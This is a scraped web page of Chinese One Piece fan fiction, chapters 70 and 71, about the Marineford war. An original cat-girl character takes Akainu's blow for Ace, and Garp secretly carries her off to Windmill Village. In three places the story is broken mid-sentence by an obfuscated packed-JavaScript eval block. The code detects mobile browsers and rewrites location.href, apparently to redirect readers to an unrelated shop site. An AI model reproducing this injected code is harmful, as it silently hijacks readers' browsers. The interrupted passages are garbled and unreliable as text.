“你们……和艾斯,共同经历了那么多的磨难,跨越了那么多的海域,一起欢笑,一起战斗,一起背负着白胡子海贼团的旗帜……在那些时刻,艾斯是谁的孩子,真的有那么重要吗?” 他的手臂收紧了一些,仿佛要将这个迷途的儿子重新拉回正轨。 “并非艾斯是特殊的。”白胡子的目光扫过周围所有屏息倾听的海贼,声音陡然提高,如同宣誓,响彻云霄: “你们——在场的每一个人——你们全都是我的家人!!” “虽然……”他低头,看着怀中因为这番话而开始剧烈颤抖、眼中疯狂褪去、被巨大震惊和悔恨取代的史库亚多,声音再次柔和下来,带着一丝无奈的笑意,“虽然是个被谎言蒙蔽了双眼、犯下大错的笨蛋……” 他的大手,轻轻拍了拍史库亚多僵硬的后脑勺,动作笨拙,却充满了属于父亲的亲昵和包容。 “……但依旧,是我……笨得可爱的儿子啊。” “史库亚多。” 白胡子叫着他的名字,如同每一次呼唤其他儿子那般自然。 “作为父亲……” 他松开了拥抱,缓缓直起身,伟岸的身影再次挺立。他低头,凝视着地上那个泪流满面、因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948451|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为极致的悔恨和震撼而说不出话的男人,一字一句,清晰无比地说道: “我,并不恨你。” 说完,他不再看史库亚多,而是猛地转过身,面向下方因为他受伤而出现短暂骚动、又因为他这番话语而重新凝聚起滔天战意的海贼们! 他的目光如电,扫过战场,扫过远处严阵以待的海军本部大楼,扫过处刑台上泪眼朦胧望着这边的艾斯,扫过正在人群中奋力前进的草帽路飞…… 腹间的伤口还在流血,但他仿佛感受不到疼痛。一股更加磅礴、更加狂暴、如同沉睡火山苏醒般的恐怖气势,从他身上轰然爆发! “说我出卖儿子?!” 白胡子驻足船头,猛地仰天,发出一声震裂云霄的豪迈大笑! “咕啦啦啦啦——!!!!!” 笑声中充满了无边的霸气和对这荒谬指控的不屑! 旋即,他高高举起了那柄陪伴他征战无数岁月、象征着“最强”之名的丛云切!刀锋直指苍穹,寒光映日! 他深吸一口气,胸膛因为用力而高高鼓起,然后用足以让整个马林梵多、让全世界都听到的、如同惊雷般的雄浑嗓音,发出了最后的、也是唯一的召集令: “身为海贼——该相信什么——!!!” 声浪滚滚,压过一切喧嚣! “要靠你们自己来决定——!!!!” 他猛地将丛云切向前挥出,刀锋划破空气,发出尖锐的嗡鸣,直指处刑台! “欲随我者——” 他纵身一跃,如同雄鹰展翅,从那高高的莫比迪克号船头,悍然跃下,重重踏在下方坚实的冰面之上!冰层为之龟裂! “就抛弃一切疑虑和恐惧——跟着我上吧——!!!!” “噢噢噢噢噢噢——!!!!!!!” “永远跟随老爹——!!!!” “为了老爹——!!!为了艾斯队长——!!!!” “杀啊——!!!!” 无数的海贼,无论原本属于哪个麾下海贼团,无论之前是否因为史库亚多的话而有过一丝动摇,此刻,全部被白胡子这番话语、这份胸襟、这纵身一跃的决绝,彻底点燃了灵魂深处的热血和忠诚! 他们抛弃了所有杂念,眼中只剩下前方那个伟岸的背影和处刑台上的兄弟!他们发出震天动地的怒吼,如同决堤的洪流,再次爆发出比之前凶猛十倍的攻势,义无反顾地跟着白胡子,向着处刑台,向着海军本部最核心的防线,发起了最惨烈、也是最壮烈的总冲锋!!! 看到白胡子不仅没有被刺杀影响,反而爆发出如此惊天动地的战意和号召力,处刑台下的战国元帅,脸色终于彻底变了! “快做好准备——!!!”战国对着下方所有高级将领和士兵,发出了近乎咆哮的指令,声音里带着一丝他自己都未曾察觉的惊悸,“世界最强的男人——要发飙了——!!!” “上了——!!!!!” 白胡子踏上冰面,丛云切拖在身后,每一步都踏得冰层炸裂!他无视前方如林的刀枪和攒射的炮弹,目光穿越混乱的战场,牢牢锁定处刑台上的战国,以及战国身后那面象征着世界政府最高权威的旗帜。 他咧开嘴,露出了一个混合着狂放战意、无边霸气以及一丝对命运嘲弄的、近乎狰狞的、却依旧豪迈万分的笑容! “战国——!!!” 他的吼声如同飓风,席卷战场! “还真是……被小瞧了啊——!!!! 丛云切被他单手抡起,划出一道完美的弧线,刀锋嗡鸣,直指苍穹,仿佛要将这片天都劈开! “我可还——没那么容易就死掉啊——!!!!!” 小狸站在莫比迪克号的船头,海风吹拂着她额前的碎发。她看着下方那道率先冲入敌阵、如同战神般所向披靡的伟岸背影,看着冰面上那道刺目蜿蜒的血迹,又缓缓将冰冷的目光,投向甲板上那个依旧瘫倒在地、望着白胡子冲锋方向泪流满面、悔恨交加的史库亚多。 老爹原谅了他。 用那样宽广如海的胸怀,包容了这致命的背叛。 所以,她不能,也不应该再做什么。 这个认知,像一块沉重而灼热的石头,死死堵在她的胸口,让她每一次呼吸都感到滞涩和疼痛。那股未能宣泄的暴怒、对老爹伤势的心疼、对背叛者的憎恶、对战场惨烈的无力……种种情绪混杂在一起,在她胸腔里翻腾、冲撞,却找不到出口。 最终,全部化为一口气。 一口冰冷、憋闷、带着血腥味和铁锈味的、长长的气。 她用力地、深深地吸了一口满是硝烟的海风,又缓缓吐出,仿佛要将胸腔里所有的郁结都随之呼出。但那股气,依旧盘桓不去。 蔚蓝的猫瞳中,最后一丝犹豫和迟疑,被这口气彻底吹散。取而代之的,是一种近乎冰冷的决绝。 她不再看史库亚多,不再停留。 娇小的身影如同离弦之箭,从莫比迪克号的船头一跃而下,轻盈地落在冰面上,几乎没有发出什么声响。 然后,她迈开脚步,跟在了那个伟岸背影所开辟的血路侧翼。 目光,始终锁定着前方,锁定着处刑台的方向。 那里,有她必须救回来的人。 70.停下来 真正的加入战场,小狸才无比清晰地意识到,自己之前那句所有人都好好的的发言,是多么幼稚、多么轻飘飘、多么……可笑。 脚下的冰面早已被各种液体浸透——温热的鲜血、冰冷的融水、浑浊的泥浆 双手早已不是自己的了。最初是利爪撕裂皮肉、格挡刀剑时传来的反震和刺痛,然后是逐渐麻木,到最后只剩下一种粘稠湿滑的触感——那是血。敌人的血?还是自己的血?她分不清了。 肩头、手臂、腰侧……到处是或深或浅的划伤、淤青和灼痕。疼痛早已不再是尖锐的信号,而是化为一种持续不断的、沉闷的钝感,与极度的疲惫交织在一起,拉扯着她的神经。 这就是战争。 不是和队长们嬉戏打闹似的对练,不是训练场上点到为止的切磋,不是她记忆中任何形式的“冲突”。 战争,是会死人的。 而且是以一种极其高效、极其冷酷、极其……平凡的方式死去。 前一秒还在你身边怒吼冲锋、脸庞因热血而涨红的同伴,下一秒就可能被不知从哪里飞来的炮弹撕成碎片,或是一柄冰冷的长刀悄无声息地从背后刺穿心脏。温热的鲜血会喷溅到你的脸上,带着生命最后的气息。倒下的躯体甚至来不及发出一声像样的惨叫,就迅速被后面蜂拥而上的脚步淹没,变成冰面上又一具面目模糊的障碍物。 小狸已经学会了不去看那些倒下的人的脸,不去听那些垂死的呻吟。她的目光必须只专注于前方敌人的动向、攻击的轨迹、闪避的空间。耳朵必须过滤掉无意义的嘈杂,只捕捉箭矢的破空、刀锋的嗡鸣、能力发动的独特前兆。 动作早已脱离了“技巧”的范畴,变成了纯粹求生的本能反应。每一次利爪撕裂血肉的触感,每一次敌人的闷哼或惨叫,都在她心底那面名为“天真”的镜子上,增添一道冰冷裂痕。 原来,这就是艾斯、老爹、大家……一直生活在其中的世界。残酷,真实,没有任何浪漫和侥幸。 就在她几乎要被这无休止的杀戮和死亡拖入麻木深渊时—— 轰——!!!! 一声震耳欲聋的巨大爆鸣,猛地撕破了战场的喧嚣! 紧接着,一股炽热辉煌到极点的光悍然照亮了整个马林梵多上空! 小狸猛地抬头! 那硝烟弥漫、阴云密布的天际,一个由纯粹燃烧的火焰构成的、无比巨大醒目的标志,正熊熊燃烧,绽放着夺目的光芒! 那是——白胡子海贼团的标志! 这火焰的标志,如同一道宣言,一声号角,一股注入所有海贼心中的强心剂!它在向全世界宣告—— 火焰之子,已然挣脱枷锁,浴火归来! “艾斯……!” 小狸的嘴唇无声地翕动了一下,干涩的喉咙里却发不出任何声音。但那颗被血腥和死亡浸染得冰冷沉重的心,却在这一刻,被那道火焰的光芒狠狠击中!一股巨大的、几乎让她站立不稳的狂喜,轰然冲垮了所有的疲惫和麻木! 她顺着火焰标志升起的方向望去。 那个熟悉的身影,如同挣脱束缚的神祇,浑身燃烧着炽烈而纯净的橙色火焰,正拽着脱力的路飞和一个陌生的男人,带着一种劫后余生、却又无比自信不羁的灿烂笑容,横空归来! 他还活着。 他自由了。 他真的……回来了。 心中那个自从看到他跪在处刑台上就出现的、冰冷巨大的空洞,在这一刻,被这炽热的光芒和身影,完完全全地、温暖地填满了。一股滚烫的热流涌上眼眶,视线瞬间变得模糊。她用力眨掉那不合时宜的水汽,嘴角却不受控制地向上弯起,露出了踏上这片战场后的第一个,真心的、带着泪光的笑容。 然而,命运的恶意,总喜欢在最美好的时刻露出獠牙。 一道阴狠、灼热、带着绝对毁灭气息的暗红色身影,如同蛰伏已久的毒蛇,骤然暴起! 海军大将,“赤犬”萨卡斯基! 他的眼中只有绝对的“正义”和清除“邪恶”的冷酷决心。他抓住了路飞因极度脱力而暂时无法动弹的瞬间、这转瞬即逝的破绽! “冥狗!” 熔岩化的巨拳直取路飞的要害,不仅如此,赤犬那冷酷的声音同时响起,如同毒液般灌入艾斯的耳中: “胆敢与世界政府为敌,妄图撼动绝对正义的蠢货……就算侥幸逃脱了处刑,也改变不了你们是‘恶’的本质!” 他的目光扫过艾斯,嘴角扯出一丝极尽轻蔑和侮辱的弧度,吐出了那句刻意为之、足以点燃任何白胡子海贼团成员怒火的诛心之言: “更何况……你们所敬重的那个白胡子……” 他故意停顿,欣赏着艾斯瞬间剧变的脸色,然后一字一句,如同淬毒的冰锥: “不过是个徒有虚名的老废物,说到底……不过是个被时代淘汰的、可怜的失败者罢了!” 艾斯的瞳孔骤然缩紧,理智在疯狂尖叫:这是激将法!赤犬在故意激怒你!不要上当!保护路飞,撤退才是最重要的! 可是—— 可是那侮辱的对象,是他视若神明、给予他一切的老爹啊! 是那个如山岳般伟岸、如大海般包容、在他最迷茫时给了他名字和归宿、在他任性时包容他、在他落难时不惜与世界为敌也要来救他的——老爹啊! 怎么能容忍?!怎么能允许有人这样玷污那个他最尊敬、最深爱的父亲的名声?! 理智的堤坝,在汹涌澎湃的、名为“守护至亲荣耀”的怒火面前,脆弱得不堪一击! “给我——” 艾斯猛地转身,将身后的路飞完全护住,双眼因为极致的愤怒而布满血丝,燃烧的火焰从全身每一个毛孔喷薄而出,将他映照得如同暴怒的火神! “——收回那句话啊啊啊!!!!” 炽白耀眼的“镜火炎”如同咆哮的火龙,从他双臂汹涌喷发,带着焚尽一切的意志,悍然迎向那袭来的熔岩巨拳! 火焰与岩浆,两股极致的自然系力量,在马林梵多的冰面上空轰然对撞! 然而,自然系能力之间那残酷的上下克制关系,在此刻显露无疑! 艾斯的火焰虽然炽热狂暴,但在赤犬的熔岩面前,只能被不断地侵蚀、吞噬、粉碎! “呃啊——!” 艾斯咬紧牙关,拼命催动着火焰,额角青筋暴起,汗水刚渗出就被蒸发。他能感觉到自己的火焰屏障在迅速变薄、瓦解!那滚烫的、带着硫磺恶臭的岩浆气息,已经穿透火焰,灼烧着他的皮肤! 赤犬的岩浆巨拳,如同烧红的铁锥穿透薄纸,悍然击溃了最后的火焰防线,去势不减,带着毁灭一切的死亡气息,朝着艾斯毫无防护的胸膛,狠狠轰击而来! 时间,仿佛在这一刻被无限拉长、变慢。 “不……要——!!!!!!” 一声凄厉到极致、绝望到极致、仿佛用灵魂和生命榨取出的尖啸,猛地撕裂了爆炸的余音,响彻战场! 是小狸! 在赤犬暴起突袭的瞬间,她全身的神经都炸开了!她看到了那阴险的偷袭,看到了艾斯转身迎击,看到了火焰被熔岩吞噬,看到了那致命的拳头距离艾斯的胸口,只有咫尺之遥。眼前的一切都失去了颜色,只剩下那团越来越近的、毁灭性的赤红! 不要——!不要伤害他——!停下来——!!! 求求你……不管是谁……让时间停下来啊——!!! 就在这灵魂都在泣血嘶吼的绝望刹那—— 一股从未有过的、源自灵魂最深处、仿佛挣脱了所有枷锁和限制的磅礴力量,伴随着她那声破音的尖啸,如同沉睡的火山轰然喷发,猛地从她娇小纤细的身体里爆发出来! 那更像是一种……纯粹意志的具现化!是超越□□极限的、对“改变既定事实”的疯狂渴求所引发的……奇迹! 嗡——!!! 一股无形无质、却仿佛能直接作用于空间和时间的奇异波动,以小狸为中心,如同投入平静湖面的巨石激起的涟漪,瞬间呈球形扩散开来,席卷了整个马林梵多广场! 刹那间—— 战场上的喧嚣仿佛被按下了静音键。 飞舞的炮弹凝固在半空。 挥出的刀剑停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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艾斯只觉得一股巨大的、不容抗拒的力量从侧面传来,将他连同路飞一起撞得向后飞跌出去!他惊愕地转头,只来得及看到一张苍白却无比决绝的侧脸,和那双映照着赤红熔岩、却清澈坚定得惊人的蔚蓝色眼眸。 那眼眸中,没有恐惧,没有后悔,只有一种近乎温柔的……释然和庆幸。 轰!!!!!! 灼热到足以融化一切、蒸发一切的熔岩巨拳,结结实实、毫无保留地,轰击在了那道挡在他们身前的、纤细脆弱的身躯之上!!! 恐怖的冲击力爆发开来!炽热的岩浆如同拥有生命的恶兽,瞬间吞噬了她的半个身躯!刺目的赤红与焦黑蔓延开来,皮肉在高温下发出“滋滋”的可怕声响,甚至隐隐有骨骼碎裂的轻响! “呃——!!!” 一声极其短促、压抑到极致的闷哼,被淹没在熔岩爆裂的轰鸣中。 那道身影如同被全速行驶的列车正面撞击,向后猛地倒飞出去!狠狠砸进了数十米外一处由倒塌的处刑台碎片和建筑残骸堆积而成的废墟之中,烟尘冲天而起,碎石和碎冰四散飞溅,将她坠落的身影彻底吞没! 灼热的岩浆残留在撞击点,继续燃烧着,发出噼啪的声响,升腾起带着焦臭味的黑烟。而那废墟之中,再无任何声息传出,只有不断弥漫的烟尘,和那触目惊心的、缓缓扩散的焦黑痕迹。 静。 死一般的寂静,笼罩了那片区域,并迅速蔓延。 所有人都被这电光石火间发生的一切惊呆了。从赤犬暴起偷袭,到艾斯转身迎击,再到那道黑影以不可思议的方式来到艾斯身边飞身挡住那必杀的一拳……这一切发生得太快,太惨烈,太……震撼人心。 然而,无人知晓的是,在那毁灭性能量侵入的瞬间,她体内那微弱却坚韧的求生意志彻底激发了她的能力,无意识的化作小猫规避了大部分的重创,青炎正以前所未有的强度疯狂运转,死死护住了她的心脉和最后一丝生机,与毁灭的力量进行着殊死抗争。 “小……狸……?” 被推开、跌倒在地的艾斯,茫然地、缓慢地抬起头,看向那片升腾着烟尘和焦臭味的废墟。 他刚才……好像看到了……小狸? 不。 不可能。 是幻觉吧?一定是太紧张产生的幻觉。 可是盘旋在眼前挥之不去的,是那双通透的蓝色眼睛…… 71.顶上的尾声 “呃啊——!!!” 就在艾斯的神智处于崩溃边缘时,另一声蕴含着毁天灭地愤怒的咆哮,如同受伤远古巨兽的哀嚎,炸响了整个马林梵多! 是白胡子! “赤犬——!!!” 白胡子的双眼瞬间赤红如血!无边的煞气和狂暴的怒意如同实质的火山喷发,从他伟岸的身躯中冲天而起!周围的空间都因为这极致的愤怒而开始扭曲、震颤! “你都——做了什么啊——!!!!!!” 这声咆哮,不再是命令,不再是战吼,而是纯粹到极致的、父亲被触犯逆鳞后的、足以撕裂苍穹的狂暴与悲痛! “给老夫——滚开——!!!” 白胡子不再理会面前化身金色巨佛、试图阻拦他的战国!他双手松开丛云切,任由它斜插在身旁崩裂的冰面中!他双拳紧握,手臂之上虬结的肌肉如同钢铁绞索般贲张,那肉眼可见的、扭曲空间的震震果实能力白光,在他拳锋之上疯狂凝聚、压缩、沸腾! 他将所有的愤怒、所有的悲痛、所有的力量,毫无保留地灌注于双拳之中!然后,朝着身体两侧的空气,如同要砸碎这个世界本身一般,用尽毕生的力气,狠狠锤下——! 咔嚓——!!!!!! 一声清脆到极致、又宏大恐怖到极致的碎裂声,仿佛来自世界的根基,以白胡子的双拳为起点,两道巨大的空间裂痕,骤然出现在马林梵多的空气之中! 轰隆隆隆——!!!!!! 紧接着,是远比之前“海震”更加恐怖、更加毁灭性的超级大地震!整个马林梵多岛屿都在发出不堪重负的、仿佛来自地心深处的哀鸣和崩裂巨响! 冰面瞬间彻底粉碎!广场的地面如同波浪般剧烈起伏、拱起、塌陷!坚固的海军本部大楼墙体上爬满巨大裂痕,砖石簌簌掉落!更可怕的是,在白胡子与战国力量对撞的核心区域,以及那空间裂痕蔓延的路径上,大地被硬生生撕裂开来! 轰——!!! 一道宽达数十米、深不见底、边缘犬牙交错的巨大地裂深渊,如同地狱张开的巨口,骤然横亘在战场中央!并且还在不断向着两侧蔓延、扩张!炽热的地气混合着烟尘从深渊底部喷涌而出! 无数来不及逃窜的海军士兵和海贼,如同下饺子般惨叫着坠入那漆黑的深渊,瞬间被吞没!建筑物的残骸、破碎的军舰、扭曲的炮台……一切都在崩塌、坠落!尖叫声、求救声、崩塌声、爆炸声……交织成一曲真正的末日交响! 战国化身的大佛脸色剧变,双掌合十,爆发出璀璨的金色佛光,试图稳定大地、抵挡震波,但白胡子这含怒全开的一击,威力实在太恐怖了!连他都感到无比的吃力,只能勉强护住核心区域,眼睁睁看着外围战场陷入彻底的混乱和毁灭! 而艾斯—— 尽管被小狸在最后关头推开,避免了熔岩拳头的直接命中,但赤犬攻击所附带的高温冲击波和飞溅的岩浆,依旧对他造成了严重的伤害。 他的左臂皮肤大面积重度灼伤,血肉模糊,甚至能看到部分碳化的痕迹。侧腹皮肉翻卷,额角被一块飞溅的炽热碎石擦过,划开一道深深的口子,鲜血混合着灰烬,顺着脸颊汩汩流下,模糊了他半张脸。 他的目光死死地、一眨不眨地钉在远处那片烟尘弥漫、废墟堆积、地裂边缘的区域。大脑里一片空白,嗡嗡作响,所有的声音、所有的画面、所有的感知,都褪色、模糊、远去。 只有那片废墟,无比清晰。 只有那个最后映入眼帘的、决绝的侧脸和蓝色的眼眸,如同烧红的烙铁,烫在他的灵魂深处。 “小……狸……?” 他无意识地喃喃着,声音干涩沙哑得如同沙砾摩擦。 然后,像是生锈的齿轮终于开始转动,被冻结的血液重新开始流动,迟来的、巨大的、足以将灵魂都碾碎的绝望和痛苦,如同海啸般轰然淹没了他! “小狸……小狸啊——!!!!!!” 撕心裂肺的悲嚎,从艾斯撕裂的喉咙深处迸发出来! 他忘记了身上的烧伤,忘记了周围的危险,忘记了一切!只剩下一个念头——过去!到那片废墟去! “小狸——!!等我——!!!” 他挣扎着,用那只完好的右手撑起身体,不顾左臂和侧腹伤口因为动作而崩裂、渗出更多的鲜血和淋巴液,就要朝着那片被地裂阻隔、遥不可及的废墟爬去! “艾斯!冷静点!!!” 一道青蓝色的火焰流光闪过,马尔科的身影如同瞬移般出现在艾斯身边拉住了他!马尔科的脸上同样毫无血色,眼中充满了巨大的悲痛和血丝,他看着那片隔着巨大地裂的废墟,又看看艾斯近乎疯狂的状态,心如刀绞。 “你想让小狸的牺牲……变得毫无意义吗?!!” 马尔科的声音因为极致的情绪而沙哑颤抖,他死死拉住艾斯,指甲几乎要掐进艾斯的皮肉里。 “她是为了救你才……!你现在过去,除了送死,还能做什么?!那片区域已经塌陷了!海军正在重新集结!我们必须立刻离开!带着大家撤离!!这是老爹的命令!也是……小狸用命换来的机会啊” “放开我!!!马尔科!!!放开——!!!” 艾斯疯狂地挣扎着,泪水混合着脸上的血污,冲刷出两道狼狈的痕迹。他像一头陷入绝境的野兽,力气大得惊人,几乎要挣脱马尔科的钳制。 “她还在那里!她一定还在等我!她不会死的!她答应过要等我的……放开我——!!!让我去——!!!” 看着艾斯眼中那几乎要溢出来的疯狂和痛苦,马尔科的眼角也滑下了一滴滚烫的泪水。但他知道,他必须做出抉择。为了艾斯,为了老爹,为了白胡子海贼团……也为了……小狸最后的愿望。 “对不起……艾斯……” 马尔科眼中闪过一丝决绝的痛色,猛地抬起手,一记灌注了巧劲、精准无比的手刀,狠狠劈在了艾斯毫无防备的后颈之上! “呃……” 艾斯身体猛地一僵,挣扎的动作骤然停止。眼中的疯狂和痛苦如同潮水般迅速褪去,被一片空洞的黑暗吞噬。他最后看了一眼那片遥远的废墟,嘴唇动了动,似乎想说什么,却终究没有发出任何声音。随即,意识彻底沉入无边黑暗,身体软软地向前倒去。 马尔科眼疾手快地接住他昏迷的身体,感受着他身上灼热的体温和伤口传来的焦糊味,心脏像是被一只无形的手狠狠攥紧。他咬紧牙关,将艾斯背到背上,又看了一眼旁边被甚平和其他人保护起来、同样昏迷的路飞。 “撤——!!!全员掩护!带上伤员!撤离战场——!!!” 马尔科嘶声怒吼,青蓝色的不死鸟火焰升腾而起,照亮了他满是血污和泪痕的脸,也照亮了这条用无数生命和鲜血铺就的、通往生的荆棘之路。 另一边,白胡子海贼团麾下的海贼们,也被这突如其来的剧变和地裂彻底打乱了阵脚。但他们终究是身经百战的豪杰,在最初的混乱后,立刻利用这极致的、由老爹愤怒一击造成的超级混乱和地形改变,拼命地掩护着伤员,集结着残部,如同退潮般,开始飞速撤离这片已经化为真正炼狱的战场。 哭喊声、命令声、爆炸声、崩塌声……响成一片。 而在无人注意的角落,一道身影飞速掠过崩塌的碎石和燃烧的残骸,精准地出现在了小狸坠落的那片废墟前。 是卡普。 他趁着白胡子震裂大地、烟尘冲天、所有人注意力都被吸引的混乱瞬间,避开了所有视线,冲到了这里。 他没有去看远处正在撤离的海贼,没有理会海军的混乱,甚至没有在意自己身上那沾染了无数血污和灰尘的海军中将披风。 他的目光,死死锁定在废墟中,那具几乎被碎石半掩、焦黑一片、蜷缩着的、小小的黑色躯体上。 他蹲下身,动作却异常轻柔,仿佛怕惊扰了什么。伸出手指,带着微微的颤抖,轻轻探向小黑猫的脖颈一侧。 指尖传来微弱的、几乎无法察觉的、却异常顽强的……搏动。 一下,又一下。 虽然微弱得如同风中残烛,但却真实存在!而且……在她焦黑的皮毛上,一股奇异的青色火焰在缓缓流转,死死护住那点生机。 卡普的瞳孔微微收缩,眼中闪过震惊、复杂、以及一丝如释重负的决断。 没有任何犹豫,他迅速解下自己背后那件沾满血污、却依旧厚实宽大的海军中将大衣,用最轻柔的动作,小心翼翼地将那具焦黑残破的小小身体包裹起来,用自己宽阔的胸膛为其遮挡烟尘和余波。然后,他最后深深地、复杂地看了一眼远处正在崩塌的海军本部大楼,看了一眼那片他守护了半生、此刻却弥漫着无尽血与火的“正义”之地。 脑海中,不受控制地回放着顶上战争的一幕幕:处刑台上艾斯绝望的眼神,路飞从天而降的呐喊和那毫不留情的一拳,白胡子豪迈的宣言,小狸安静望向他的、那双蓝色猫瞳中清晰的震惊、痛苦与不解…… 海军的“绝对正义”……英雄的“仁义”……家族的羁绊…… 这些曾经支撑他走过漫长岁月、为之奋斗一生的信念和枷锁,此刻在怀中这微弱却顽强的生命之火面前,在孙子们淋漓的鲜血和眼泪面前,显得如此苍白、无力,甚至……有些可笑。 也许……他真的老了。 老到再也背负不动那过于沉重的“英雄”称号,老到开始怀疑自己坚信的道路,老到……只想在生命的最后时光里,抓住一些更真实、更温暖的东西。 比如,保护自己的孙辈。 哪怕要用这种方式。 他不再犹豫,不再回头。 身影一闪,如同融入烟尘的幻影,抱着怀中的小生命,悄无声息地、彻底地消失在了这片混乱战场的边缘,消失在了所有人的视线之外。 …… 顶上战争,最终在一片无法用言语形容的混乱、惨烈与悲恸中,仓促地落下了帷幕。 这场被称为“马林梵多绞肉机”的战役,没有真正的赢家。 世界政府对外发布的公告,充满了政治性的修饰与权衡:“在海军本部马林梵多,于前任元帅战国(已引咎辞职)的英明指挥下,我军将士英勇奋战,成功处决了极恶血脉‘火拳’波特卡斯·D·艾斯,并重创了四皇‘白胡子’爱德华·纽盖特及其麾下海贼团,沉重打击了海贼的嚣张气焰,维护了世界政府的绝对权威与正义。鉴于此次战役我军将士亦伤亡惨重,为保全海军有生力量、避免无谓牺牲,经高层决议,未对溃逃之敌予以穷追猛打。” 冠冕堂皇的言辞下,掩盖的是海军本部近乎半毁的惨状、无数阵亡将士的亡灵、以及一个最终沦为笑柄的“处刑”结果。 而白胡子海贼团方面,虽然成功救回了重伤昏迷的艾斯,得以撤离,但船上却感受不到丝毫胜利的喜悦,只有浓得化不开、沉重得令人窒息的悲恸与死寂。 莫比迪克号的医疗室里,艾斯在镇静剂效果过后醒来,却仿佛变了一个人。他没有哭闹,没有咆哮,只是睁着一双空洞得吓人的黑眸,死死盯着天花板,无论谁和他说话都毫无反应。只有在听到“小狸”这个名字时,他的眼珠才会极其轻微地转动一下,然后便是更深的死寂,和身体无法抑制的、细微的颤抖。偶尔,他会突然挣扎着想要下床,嘶哑地重复着“回去……找她……”,然后被马尔科或其他人红着眼眶按住,再次注射镇定剂。 失去小狸的痛,如同一个无形却巨大的黑洞,吞噬着船上每一个人的心。那个总是安静跟在艾斯身边、眼睛像大海一样清澈、偶尔会露出腼腆笑容的猫耳少女,那个被老爹认可、被大家悄然接纳和喜爱的新家人……就这样,留在了那片燃烧的废墟里。 甲板上再也看不到她趴在栏杆上看海的身影,餐厅里再也听不到她小口吃饭时满足的细微声响,夜晚也感受不到那只小黑猫悄悄靠近的温暖…… 这份空缺,如此鲜明,如此,疼痛。 --- 东海,风车村。 距离那场撼动世界的战争,已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950046|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经过去了半个多月。 这里的时光仿佛流淌得格外缓慢而宁静。阳光总是和煦,海风永远轻柔,带着咸味和远处山林草木的清新气息。小小的村庄坐落在山崖与海岸之间,红顶的房屋错落有致,风车在海风的吹拂下缓缓转动,发出令人安心的吱呀声。 一栋宽敞但朴实的木屋前,摆着两张老旧的摇椅。 卡普悠闲地躺在一张摇椅上,随着椅子的晃动发出有节奏的轻响,他闭着眼睛,脸上带着近乎慵懒的惬意表情,享受着午后温暖的阳光洒在脸上的感觉。偶尔有海鸥的鸣叫从远处传来,更添几分闲适。 他的老战友,已经卸任海军元帅的战国,坐在另一张摇椅上,手里端着一杯冒着热气的粗茶,同样一脸放松。只是他那张总是严肃的脸上,此刻虽然平和,眉宇间却还残留着一丝挥之不去的、属于过往沉重责任的疲惫。 “哼,”战国抿了一口茶,喉咙里发出舒服的喟叹,瞥了一眼旁边晃悠的小羊,“这才叫生活。不用天天对着堆积如山的文件,不用算计平衡各方势力,也不用听那些天龙人的蠢命令。” “哈哈哈,”卡普闻言,睁开一只眼睛,大笑着附和,“是啊,战国!早就该这样了!打打杀杀、争权夺利什么的,留给年轻人去折腾吧!”他晃了晃脚上趿拉着的旧拖鞋,“不过你真就跟我来这乡下地方了?这里可没什么好玩的,除了山就是海,连个像样的酒馆都没有。” “哈,”战国难得地轻笑一声,摇了摇头,“能长出你这个号称‘海军英雄’的怪胎的村子,本身就已经够‘特别’了。”他顿了顿,目光悠远地望向远处蔚蓝的海平面,声音低了些,“……说起来,过去有半个月了吧?顶上战争。” “是啊……”卡普晃着摇椅,目光也不由自主地、状似不经意地瞥向了身后那扇敞开的木门,望向屋内,“时间过得真快。” “你看最近的新闻了没?”战国将茶杯放在旁边的小木几上,语气带着点幸灾乐祸,又有点无奈,“虽然海军总部已经按照计划迁往新世界了,但你那个疯子孙子艾斯,居然伤还没好利索,就带着白胡子海贼团残部,又大闹了一次马林梵多废墟!听说他们几乎把每一寸残骸都翻了一遍,像是在疯狂地找什么东西……搞得留守的部队灰头土脸,报告写得一塌糊涂。” 他摇了摇头:“这下好了,海军那边关于‘火拳艾斯已被成功处决’的官方公告,可就成了天大的笑话喽!世界政府的脸面都快丢尽了。幸好老夫现在已经不是元帅了,不然这烂摊子,还真不知道该怎么向上面交代,啧啧。” “哈哈哈,那些头疼的事情,就交给现在坐在那个位置上的人去烦恼吧!”卡普优哉游哉地晃着摇椅,蒲扇般的大手挥了挥,一副事不关己的轻松模样。只是他的嘴角,却勾起了一丝极淡的、几乎无法察觉的笑意,目光再次投向屋内,那里光线柔和,一片安静。 房间里,铺着干净素色床单的木板床上,一只通体漆黑、只有巴掌大小的小猫,正蜷缩在柔软的被窝里,沉沉地昏睡着。她的呼吸极其微弱,胸口几乎看不出起伏,但仔细倾听,却能捕捉到那规律而绵长的、属于生命的气息。 她身上的焦黑痕迹已经褪去了大半,新生的、柔软细密的黑色绒毛正极缓慢地覆盖着那些曾经狰狞的伤处。虽然仍旧瘦弱得可怜,但比起一个月前那几乎随时会熄灭的状态,已然是天壤之别。 